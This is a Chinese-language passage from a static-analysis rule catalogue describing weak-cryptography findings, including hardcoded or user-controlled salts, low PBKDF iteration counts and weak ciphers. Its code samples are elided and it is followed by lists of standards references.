[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3, Requirement 4.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3, Requirement 4.1
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: Hardcoded PBE Salt
ABSTRACT
Hardcoded salt 可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
采用硬编码处理 salt 绝非一个好方法。这不仅是因为所有项目开发人员都可以使用 hardcoded salt 来查看该 salt,而且还会使解决这一问题变得极其困难。一旦将该代码投入生产,则无法轻易更改该 salt。如果攻击者知道该 salt 的值,他们就可以计算出该应用程序的“彩虹表”,并更轻松地确定散列值。
例 1:下列代码使用了 hardcoded salt:
1 | ... |
该代码可以正常运行,但是任何有该代码权限的人都能得到这个 salt。一旦程序发布,将无法更改名为“2!@$(5#@532@%#$253l5#@$”的 salt。雇员可以利用手中掌握的信息访问权限入侵系统。
RECOMMENDATIONS
salt 始终不能为硬编码。一般来说,应对密码加以模糊化,并在外部资源中进行管理。在系统中采用明文的形式存储 salt,会造成任何有充分权限的人读取和无意中误用 salt。
例 2:下列代码使用由系统管理员配置的 salt 变量:
1 | ... |
REFERENCES
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 760
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: Hardcoded Salt
ABSTRACT
Hardcoded salt 可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
采用硬编码处理 salt 绝非一个好方法。这不仅是因为所有项目开发人员都可以使用 hardcoded salt 来查看该 salt,而且还会使解决这一问题变得极其困难。一旦将该代码投入生产,则无法轻易更改该 salt。如果攻击者知道该 salt 的值,他们就可以计算出该应用程序的“彩虹表”,并更轻松地确定散列值。
例 1:下列代码使用了 hardcoded salt:
1 | ... |
该代码可以正常运行,但是任何有该代码权限的人都能得到这个 salt。一旦程序发布,将无法更改名为“2!@$(5#@532@%#$253l5#@$”的 salt。雇员可以利用手中掌握的信息访问权限入侵系统。更糟的是,如果攻击者能够访问应用程序的字节代码,那么他们就可以利用 javap -c 命令访问已经过反汇编的代码,而在这些代码中恰恰包含着用户使用过的 salt 值。
RECOMMENDATIONS
绝不能对 salt 进行硬编码。通常情况下,应对 salt 加以模糊化,并在外部资源中进行管理。在系统中采用明文的形式存储 salt,会造成任何有充分权限的人读取和无意中误用 salt。
例 2:下列代码使用由系统管理员配置的 salt 变量:
1 | ... |
REFERENCES
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 760
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: Insecure PBE Iteration Count
ABSTRACT
基于密码的密钥派生函数所使用的迭代计数过低。
EXPLANATION
密钥派生函数用来从基本密钥和其他参数派生出密钥。在基于密码的密钥派生函数中,基本密钥是一个密码,其他参数则是一个 salt 值和一个迭代计数。迭代计数传统上用于提高从一个密码生成密钥的代价。如果迭代计数过低,攻击的可行性就会提高,因为攻击者可以计算出应用程序的“彩虹表”,并更轻易地确定散列密码值。
例 1: 以下代码使用 50 的迭代计数:
1 | ... |
对基于密码的加密使用一个较低迭代计数的应用程序容易受到琐碎的字典式攻击 - 而这种类型的攻击正是基于密码的加密方案设计来进行防范的。
RECOMMENDATIONS
使用一个基于密码的密钥派生函数时,迭代计数应至少为 1,000。这将大幅增加穷尽式密码搜索的代价,而对派生各个密钥的代价不会产生显著影响。NIST SP 800-132 建议为关键密钥或非常强大的系统使用高达 10,000,000 的迭代计数。
例 2: 以下代码使用 100,000 的迭代计数:
1 | ... |
REFERENCES
[1] B. Kaliski PKCS #5: Password-Based Cryptography Specification Version 2.0. Network Working Group
[2] Martin Abadi and Bogdan Warinschi Password-Based Encryption Analyzed.
[3] Mihir Bellare, Thomas Ristenpart, and Stefano Tessaro Multi-Instance Security and its Application to Password-Based Cryptography.
[4] Meltem SonmezTuran, Elaine Barker, William Burr, and Lily Chen NIST Special Publication 800-132: Recommendation for Password-Based Key Derivation. NIST
[5] Standards Mapping - Common Weakness Enumeration CWE ID 916
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: Missing Required Step
ABSTRACT
在生成加密散列过程中,代码错过了对一个必需步骤的调用。
EXPLANATION
加密散列的生成涉及多个步骤,错过对任何必需步骤的调用都会削弱所生成散列的强度。
例 1: 以下代码跳过了对方法 MessageDigest.update() 的调用,这将会导致创建不基于任何数据的散列:
1 | ... |
RECOMMENDATIONS
在生成加密散列过程中实施所有必需步骤。尽可能明确地指定所用参数,以确保不会削弱散列的强度。
例 2: 例 1 中的代码可按如下所示方式修复:
1 | ... |
REFERENCES
[1] JavaDoc for MessageDigest Sun Microsystems
[2] JavaDoc for Mac Sun Microsystems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 325
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: User-Controlled Algorithm
ABSTRACT
在加密散列中使用用户控制算法可能使攻击者能够指定弱加密散列算法,从而削弱应用程序的数据完整性与安全性。
EXPLANATION
在以下情况下会发生 Weak Cryptographic Hash:用户控制算法问题将在以下情况下出现:
数据通过一个不可信赖的数据源进入程序
用户控制的数据用于指定加密散列算法。
如同许多软件安全漏洞一样,Weak Cryptographic Hash:用户控制算法是到达终点的一个途径,其本身并不是终点。从本质上看,这些漏洞是显而易见的:攻击者可将恶意数据传递到应用程序,这些数据随后用于指定加密散列算法。攻击者可以指定一个存在已知缺陷的散列算法(比如 MD5),以破坏应用程序数据的完整性和安全性。
例 1: 下列代码使用了用户控制算法:
1 | ... |
上面的代码将成功运行,但任何获得此功能的人将能够通过修改 hash 属性,来操纵散列算法。一旦程序发布,撤消有关用户控制算法的问题非常困难,因为可能无法知道一个给定的加密散列的算法参数是否已经被恶意用户确定。
RECOMMENDATIONS
避免使用用户控制的输入来确定加密散列算法。
REFERENCES
[1] Stach & Liu MD5 and MD4 Collision Generators
[2] Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu Finding Collisions in the Full SHA-1
[3] Xiaoyun Wang and Hongbo Yu How to Break MD5 and Other Hash Functions
[4] SDL Development Practices Microsoft
[5] INPUT-1: Validate inputs Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 328
[7] Standards Mapping - FIPS200 MP
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: User-Controlled PBE Salt
ABSTRACT
可能受污染的用户输入不应该作为 salt 参数传递到基于密码的密钥派生函数 (PBKDF)。
EXPLANATION
在以下情况下会发生 Weak Cryptographic Hash:用户控制 PBE 的 Salt 问题将在以下情况下出现:
数据通过一个不可信赖的数据源进入程序
用户控制的数据包括在 salt 中,或完全作为基于密码的密钥派生函数中的 salt 使用。
如同许多软件安全漏洞一样,Weak Cryptographic Hash:用户控制 PBE 的 Salt 是到达终点的一个途径,其本身并不是终点。从本质上看,这些漏洞是显而易见的:攻击者可将恶意数据传递到应用程序,然后这些数据被用作 PSKDF 中的全部或部分 salt。
使用用户定义的 salt 的问题在于,它可以实现各种不同的攻击:
攻击者可以利用这一漏洞,指定一个空 salt 作为自己的密码。由此,可以轻易地使用许多不同的散列快速地对其密码执行派生,以泄露有关您的应用程序中使用的 PBKDF 实现的信息。这样,通过限制所用散列的特定变体,可以更轻松地“破解”其他密码。
如果攻击者能够操纵其他用户的 salt,或者诱骗其他用户使用空 salt,这将使他们能够计算应用程序的“彩虹表”,并更轻松地确定派生值。
例 1: 以下代码使用用户控制 salt:
1 | ... |
上面的代码将成功运行,但任何获得此功能的人将能够通过修改 salt 属性,来操纵用于派生密钥或密码的 salt。一旦程序发布,撤消有关用户控制的 salt 的问题会非常困难,因为很难知道密码散列的 salt 是否已经被恶意用户确定。
RECOMMENDATIONS
salt 绝不能是用户控制的,即使是部分也不可以,也不能是硬编码的。通常情况下,应对 salt 加以模糊化,并在外部数据源中进行管理。在系统中采用明文的形式存储 salt,会造成任何有充分权限的人读取和无意中误用 salt。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 328
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Hash: User-Controlled Salt
ABSTRACT
对于会生成作为 salt 传递的加密散列的方法,不应使用被污染的 salt 参数进行调用。
EXPLANATION
在以下情况下会发生 Weak Cryptographic Hash:用户控制 salt 问题将在以下情况下出现:
数据通过一个不可信赖的数据源进入程序。
用户控制的数据包括在 salt 中,或完全用作加密散列函数中的 salt。
如同许多软件安全漏洞一样,Weak Cryptographic Hash:用户控制 Salt 是到达终点的一个途径,其本身并不是终点。从本质上看,这些漏洞是显而易见的:攻击者可将恶意数据传递到应用程序,然后这些数据被用作加密散列函数中的全部或部分 salt。
用户控制 salt 的问题在于,它可以实现几个不同的攻击:
- 攻击者可以利用这一漏洞,为被散列的数据指定一个空 salt。由此,可以轻易地使用许多不同的散列算法控制被散列的数据,以泄露有关您的应用程序中使用的散列实现的信息。这样,通过限制所用散列的特定变体,可以更轻松地“破解”其他密码。 2. 如果攻击者能够操纵其他用户的 salt,或者诱骗其他用户使用空 salt,这将使他们能够计算应用程序的“彩虹表”,并更轻松地确定哈希值。
例 1: 以下代码使用用户控制 salt 进行密码散列:
1 | ... |
上面的代码将成功运行,但任何获得此功能的人将能够通过修改 salt 属性,来操纵用于对密码执行散列的 salt。一旦程序发布,撤消有关用户控制的 salt 的问题非常困难,因为可能无法知道密码散列的 salt 是否已经被恶意用户确定。
RECOMMENDATIONS
salt 绝不能是用户控制的,即使是部分也不可以,也不能是硬编码的。通常情况下,应对 salt 加以模糊化,并在外部数据源中进行管理。在系统中采用明文的形式存储 salt,会造成任何有充分权限的人读取和无意中误用 salt。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 328
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
Weak Cryptographic Signature: Missing Required Step
ABSTRACT
在生成加密签名过程中,代码错过了对一个必需步骤的调用。
EXPLANATION
加密签名的生成涉及多个步骤,错过对任何必需步骤的调用都会削弱所生成签名的强度。
例 1: 以下代码跳过了对方法 update 的调用,这将会导致创建不基于任何数据的签名:
1 | ... |
RECOMMENDATIONS
确保在生成加密签名时执行所有必需的步骤。尽可能明确地指定所用参数,以确保不会削弱签名的强度。
例 2: 例 1 中的代码可以按如下所示方式修复:
1 | ... |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 325
[2] Standards Mapping - FIPS200 MP
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
Weak Encryption
ABSTRACT
识别调用会使用无法保证敏感数据的保密性的弱加密算法。
EXPLANATION
陈旧的加密算法(如 DES)再也不能为敏感数据提供足够的保护了。加密算法依赖于密钥大小,这是确保加密强度的主要方法之一。加密强度通常通过生成有效密钥所需的时间和计算能力来衡量。计算能力的提高使得能够在合理的时间内获得较小的加密密钥。例如,在二十世纪七十年代首次开发出该算法时,在 DES 中使用的 56 位密钥造成了巨大的计算障碍,但今天,使用常用设备能在不到一天的时间内破解 DES。
RECOMMENDATIONS
使用密钥较大的强加密算法来保护敏感数据。作为 DES 的备选强加密算法的示例包括 Rijndael(高级加密标准,简称 AES)和 Triple DES (3DES)。在选择一种算法之前,应首先确定您的组织是否对某个特定算法和实施实现了标准化。
REFERENCES
[1] Java Cryptography Architecture Standard Algorithm Name Documentation Sun Microsystems
[2] distributed.net DES
[3] FAQ About the Electronic Frontier Foundation’s “DES Cracker” Machine Electronic Frontier Foundation
